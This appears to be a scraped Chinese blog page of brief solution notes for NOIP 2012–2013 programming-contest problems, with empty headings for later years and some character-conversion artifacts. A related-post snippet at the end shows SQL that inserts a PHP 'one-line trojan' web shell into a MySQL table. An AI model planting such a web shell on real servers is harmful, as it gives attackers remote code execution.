noip2012 2018一句話題解

2022-03-23 05:01:09 字數 1512 閱讀 4708

歷年noip普及+提高的一句話題解,大致是記錄思路,也會寫一寫心路歷程啥的

2012

普及組t1 簽到題,看了一眼發現我居然錯過兩次,注意一下給出的數字已經是兩個質數乘積,所以搜尋出其中乙個滿足的便可以結束,我是從小往大搜,除一下求出另乙個大的便可

t2 模擬,比較水的一道模擬,直接按照輸入模擬,注意下每次迴圈的時候要先對當前層數取模,減去跑了超過一圈的部分,否則會tle。

t3 dp,dp[i][j] 表示擺完了第 i 種花時已經擺了 j 盆。因為不管擺到第幾種,擺了 0 盆都是一種情況,所以 dp[i][0]=1。列舉 i 和 j,再利用一層迴圈列舉第 i 種花擺了幾盆。

t4 突然發現我還沒做,等我填坑qwq

提高組day1

t1 模擬,簡單但非常非常噁心,注意一下細節和翻譯時候的正反就可以了,並且給出的是需要翻譯回去的密文,不要當成原文進行加密了。

t2 貪心+高精度,通過推導容易得出,最優排序順序應該是大臣兩手乘積從小到大的排序,資料會很大,所以加乘除都需要高精度來計算,高精除法只需要高精除單精。兩手乘積一樣並不影響最終結果。

t3 待填坑qaq

day2

t1通過給出的方程很容易發現是乘法逆元,費馬小定理,擴充套件歐幾里得隨意選乙個來計算逆元就可以了。

t2 差分陣列+二分,利用差分陣列維護需要改變的區間的起點和終點,來避免遍歷整個區間,然後二分答案查詢到需要改變訂單的申請。注意一下維護差分陣列的下標。

t3 依舊未填坑......qwq

2013

普及組t1 簽到題,while 語句按位分離,注意如11這樣的需要計算兩次。

t2 棧,因為乘法的計算優先順序,所以先把所有加法運算存入棧中,如果碰到乘法就將整個乘法運算計算好後再一起存入棧,最後將棧內所有元素相加。因為題目不存在除法和減法,所以不會更新出更小值,每次算出的資料為了避免使用高精度計算,每次都要對10000取模。

t3t4 

提高組day1

t1t2

t3day2

t1t2

t32014

普及組t1

t2t3

t4 提高組

day1

t1t2

t3day2

t1t2

t32015

普及組t1

t2t3

t4 提高組

day1

t1t2

t3day2

t1t2

t32016

普及組t1

t2t3

t4 提高組

day1

t1t2

t3day2

t1t2

t32017

普及組t1

t2t3

t4 提高組

day1

t1t2

t3day2

t1t2

t32018

普及組t1

t2t3

t4 提高組

day1

t1t2

t3day2

t1t2

t3

mysql 匯出一句話 MySQL 匯出一句話

drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...

一句話提醒

1 在c 中,父窗體要訪問子窗體變數,需將子窗體變數設為public才能訪問。2 每 5 秒重新整理頁面 5 秒後重定向頁面 3 block 此元素將顯示為塊級元素,此元素前後會帶有換行符。inline 預設。此元素會被顯示為內聯元素,元素前後沒有換行符。4 document.getelementb...

一句話命令

bash 型別 wget r nc np 分片20m 上傳 bypy vvv s 20m upload mac下檢視埠占用 nettop nm tcp brew brew uninstall zsh brew services list brew services start brew servic...